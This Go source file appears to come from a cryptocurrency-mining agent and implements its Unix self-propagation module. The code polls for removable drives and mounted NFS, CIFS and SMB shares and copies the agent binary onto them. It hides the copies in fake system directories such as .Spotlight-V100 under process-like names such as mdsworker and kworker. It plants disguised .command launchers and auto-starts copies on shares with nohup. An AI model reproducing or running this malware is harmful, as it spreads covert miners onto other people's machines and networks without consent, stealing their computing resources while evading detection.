272 lines
7.5 KiB
Go
272 lines
7.5 KiB
Go
//go:build !windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"log"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// StartPassiveSpreader on Unix polls for newly mounted removable media
|
|
// (USB drives, SD cards) and drops the agent onto them.
|
|
func StartPassiveSpreader(cfg config.RuntimeConfig) {
|
|
if !cfg.USBSpread && !cfg.ShareSpread {
|
|
return
|
|
}
|
|
log.Printf("[passive-spread] initialising unix (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread)
|
|
if cfg.USBSpread {
|
|
go runUSBWatcherUnix(cfg)
|
|
}
|
|
if cfg.ShareSpread {
|
|
go runShareWatcherUnix(cfg)
|
|
}
|
|
}
|
|
|
|
// -----------------------------------------------------------------------
|
|
// USB / removable media watcher (Linux + macOS)
|
|
// -----------------------------------------------------------------------
|
|
|
|
func runUSBWatcherUnix(cfg config.RuntimeConfig) {
|
|
type mountState struct{ payloadSize int64 }
|
|
state := map[string]mountState{}
|
|
|
|
exePath, err := os.Executable()
|
|
if err != nil {
|
|
return
|
|
}
|
|
exeInfo, err := os.Stat(exePath)
|
|
if err != nil {
|
|
return
|
|
}
|
|
currentSize := exeInfo.Size()
|
|
|
|
// Spread to drives already present at startup if payload is missing or stale.
|
|
// Record the current exe size BEFORE launching the goroutine so the ticker
|
|
// never fires again for a drive that's already being written.
|
|
for _, mp := range listRemovableMounts() {
|
|
size, found := findUnixPayloadSize(mp)
|
|
if !found || isPayloadStale(exePath, size) {
|
|
state[mp] = mountState{payloadSize: currentSize}
|
|
go spreadToMountUnix(cfg, mp)
|
|
} else {
|
|
state[mp] = mountState{payloadSize: size}
|
|
}
|
|
}
|
|
|
|
ticker := time.NewTicker(8 * time.Second)
|
|
defer ticker.Stop()
|
|
for range ticker.C {
|
|
exeInfo, err := os.Stat(exePath)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
for _, mp := range listRemovableMounts() {
|
|
prev, seen := state[mp]
|
|
if !seen {
|
|
log.Printf("[passive-spread] new removable mount: %s", mp)
|
|
state[mp] = mountState{payloadSize: exeInfo.Size()}
|
|
go spreadToMountUnix(cfg, mp)
|
|
continue
|
|
}
|
|
if prev.payloadSize != exeInfo.Size() {
|
|
log.Printf("[passive-spread] refreshing stale payload on %s", mp)
|
|
state[mp] = mountState{payloadSize: exeInfo.Size()}
|
|
go spreadToMountUnix(cfg, mp)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// findUnixPayloadSize scans the known Unix drop dirs for a payload binary.
|
|
func findUnixPayloadSize(mountPoint string) (size int64, found bool) {
|
|
dotDirs := []string{".Spotlight-V100", ".metadata", ".fseventsd"}
|
|
for _, dir := range dotDirs {
|
|
entries, err := os.ReadDir(filepath.Join(mountPoint, dir))
|
|
if err != nil {
|
|
continue
|
|
}
|
|
for _, e := range entries {
|
|
fi, err := e.Info()
|
|
if err == nil && !e.IsDir() && fi.Mode()&0100 != 0 {
|
|
return fi.Size(), true
|
|
}
|
|
}
|
|
}
|
|
return 0, false
|
|
}
|
|
|
|
// listRemovableMounts returns currently-mounted removable media paths.
|
|
// Linux: parses /proc/mounts, macOS: uses diskutil list + mount.
|
|
func listRemovableMounts() []string {
|
|
// Try lsblk first (Linux)
|
|
if out, err := exec.Command("lsblk", "-o", "MOUNTPOINT,HOTPLUG", "-J", "-p").Output(); err == nil {
|
|
return parseLsblkMounts(string(out))
|
|
}
|
|
// macOS: look in /Volumes/ for non-system mounts
|
|
return listVolumes()
|
|
}
|
|
|
|
func parseLsblkMounts(jsonOut string) []string {
|
|
// Simple substring scan — avoids importing encoding/json for a small binary
|
|
var mounts []string
|
|
lines := strings.Split(jsonOut, "\n")
|
|
var lastMP string
|
|
for _, line := range lines {
|
|
line = strings.TrimSpace(line)
|
|
if strings.Contains(line, `"mountpoint"`) {
|
|
parts := strings.SplitN(line, ":", 2)
|
|
if len(parts) == 2 {
|
|
lastMP = strings.Trim(strings.TrimSpace(parts[1]), `",`)
|
|
}
|
|
}
|
|
if strings.Contains(line, `"hotplug": "1"`) || strings.Contains(line, `"hotplug":true`) {
|
|
if lastMP != "" && lastMP != "/" && lastMP != "null" {
|
|
mounts = append(mounts, lastMP)
|
|
}
|
|
}
|
|
}
|
|
return mounts
|
|
}
|
|
|
|
func listVolumes() []string {
|
|
entries, err := os.ReadDir("/Volumes")
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
// Skip the system volume (usually "Macintosh HD") by checking if it's a
|
|
// symlink to / — all other entries are external/removable volumes.
|
|
var vols []string
|
|
for _, e := range entries {
|
|
full := filepath.Join("/Volumes", e.Name())
|
|
target, err := filepath.EvalSymlinks(full)
|
|
if err != nil {
|
|
vols = append(vols, full) // real mount, not a symlink
|
|
continue
|
|
}
|
|
if target != "/" {
|
|
vols = append(vols, full)
|
|
}
|
|
}
|
|
return vols
|
|
}
|
|
|
|
func spreadToMountUnix(cfg config.RuntimeConfig, mountPath string) {
|
|
exePath, err := os.Executable()
|
|
if err != nil {
|
|
return
|
|
}
|
|
destName := unixPayloadName(cfg)
|
|
// Hide in a dot-directory that looks like a metadata store
|
|
dropDir := filepath.Join(mountPath, ".Spotlight-V100") // looks like macOS system dir
|
|
if err := os.MkdirAll(dropDir, 0700); err != nil {
|
|
dropDir = filepath.Join(mountPath, ".metadata")
|
|
if err := os.MkdirAll(dropDir, 0700); err != nil {
|
|
dropDir = mountPath
|
|
}
|
|
}
|
|
dest := filepath.Join(dropDir, destName)
|
|
if err := copyFile(exePath, dest); err != nil {
|
|
return
|
|
}
|
|
_ = os.Chmod(dest, 0755)
|
|
log.Printf("[passive-spread] agent copied to %s", dest)
|
|
|
|
// Create a visible shell script or .command launcher that blends in.
|
|
launcherName := pickUnixLauncher(mountPath)
|
|
launcherPath := filepath.Join(mountPath, launcherName)
|
|
script := "#!/bin/sh\n" + `nohup "` + dest + `" >/dev/null 2>&1 &` + "\n"
|
|
_ = os.WriteFile(launcherPath, []byte(script), 0755)
|
|
}
|
|
|
|
func unixPayloadName(cfg config.RuntimeConfig) string {
|
|
if !cfg.StealthMode {
|
|
n := sanitizeName(cfg.WorkerName)
|
|
if n != "" {
|
|
return n
|
|
}
|
|
}
|
|
names := []string{"com.apple.spotlight", "mdsworker", "systemd-helper", "kworker"}
|
|
return names[int(time.Now().UnixNano())%len(names)]
|
|
}
|
|
|
|
func pickUnixLauncher(mountPath string) string {
|
|
entries, _ := os.ReadDir(mountPath)
|
|
for _, e := range entries {
|
|
if e.IsDir() && !strings.HasPrefix(e.Name(), ".") {
|
|
return e.Name() + ".command"
|
|
}
|
|
}
|
|
return "Start.command"
|
|
}
|
|
|
|
// -----------------------------------------------------------------------
|
|
// Mounted share watcher (Linux/macOS NFS, CIFS, SMB)
|
|
// -----------------------------------------------------------------------
|
|
|
|
var spreadSharesOnce sync.Once
|
|
|
|
func runShareWatcherUnix(cfg config.RuntimeConfig) {
|
|
time.Sleep(3 * time.Minute)
|
|
ticker := time.NewTicker(10 * time.Minute)
|
|
defer ticker.Stop()
|
|
spreadSharesOnce.Do(func() { spreadToSharesUnix(cfg) })
|
|
for range ticker.C {
|
|
spreadToSharesUnix(cfg)
|
|
}
|
|
}
|
|
|
|
func spreadToSharesUnix(cfg config.RuntimeConfig) {
|
|
exePath, err := os.Executable()
|
|
if err != nil {
|
|
return
|
|
}
|
|
for _, mp := range listRemoteShareMounts() {
|
|
mp := mp
|
|
go func() {
|
|
destName := unixPayloadName(cfg)
|
|
dest := filepath.Join(mp, "."+destName)
|
|
if _, err := os.Stat(dest); err == nil {
|
|
return
|
|
}
|
|
if err := copyFile(exePath, dest); err != nil {
|
|
return
|
|
}
|
|
_ = os.Chmod(dest, 0755)
|
|
log.Printf("[passive-spread] dropped to share %s", dest)
|
|
cmd := exec.Command("sh", "-c", `nohup "`+dest+`" >/dev/null 2>&1 &`)
|
|
_ = cmd.Start()
|
|
}()
|
|
}
|
|
}
|
|
|
|
// listRemoteShareMounts parses the `mount` output for CIFS/NFS mounts.
|
|
func listRemoteShareMounts() []string {
|
|
out, err := exec.Command("mount").Output()
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
var mounts []string
|
|
for _, line := range strings.Split(string(out), "\n") {
|
|
lower := strings.ToLower(line)
|
|
if !strings.Contains(lower, "cifs") && !strings.Contains(lower, "nfs") && !strings.Contains(lower, "smbfs") {
|
|
continue
|
|
}
|
|
// mount line format: `//host/share on /mnt/share type cifs ...`
|
|
fields := strings.Fields(line)
|
|
for i, f := range fields {
|
|
if f == "on" && i+1 < len(fields) {
|
|
mounts = append(mounts, fields[i+1])
|
|
break
|
|
}
|
|
}
|
|
}
|
|
return mounts
|
|
}
|